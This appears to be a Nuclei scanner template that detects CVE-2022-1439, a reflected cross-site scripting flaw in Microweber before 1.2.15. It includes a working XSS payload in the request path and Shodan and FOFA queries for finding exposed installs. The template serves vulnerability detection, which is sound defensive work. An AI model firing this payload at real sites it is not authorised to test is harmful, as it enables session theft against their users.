id: CVE-2022-1439

info:
  name: Microweber <1.2.15 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: Microweber prior to 1.2.15 contains a reflected cross-site scripting vulnerability. An attacker can execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Upgrade to Microweber CMS version 1.2.15 or later, which includes proper input sanitization to mitigate the XSS vulnerability.
  reference:
    - https://huntr.dev/bounties/86f6a762-0f3d-443d-a676-20f8496907e0/
    - https://huntr.dev/bounties/86f6a762-0f3d-443d-a676-20f8496907e0
    - https://github.com/microweber/microweber/commit/ad3928f67b2cd4443f4323d858b666d35a919ba8
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1439
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-1439
    cwe-id: CWE-79
    epss-score: 0.43794
    epss-percentile: 0.97583
    cpe: cpe:2.3:a:microweber:microweber:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: microweber
    product: microweber
    shodan-query:
      - http.favicon.hash:780351152
      - http.html:"microweber"
    fofa-query:
      - body="microweber"
      - icon_hash=780351152
  tags: cve,cve2022,microweber,xss,huntr,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/module/?module=%27onm%3Ca%3Eouseover=alert(document.domain)%27%22tabindex=1&style=width:100%25;height:100%25;&id=x&data-show-ui=admin&class=x&from_url={{BaseURL}}'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<div class='x module module-'onmouseover=alert(document.domain) '"
          - "parent-module-id"
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a004830460221009101213fde48291f28d7e84b4feb669bcb3fe63951727848683b5df70f3d2797022100cb7fde436ed52f3ec0bf3c30309ebbdb92dea193a20fb118b08d7a91f210ad23:922c64590222798bb761d5b6d8e72950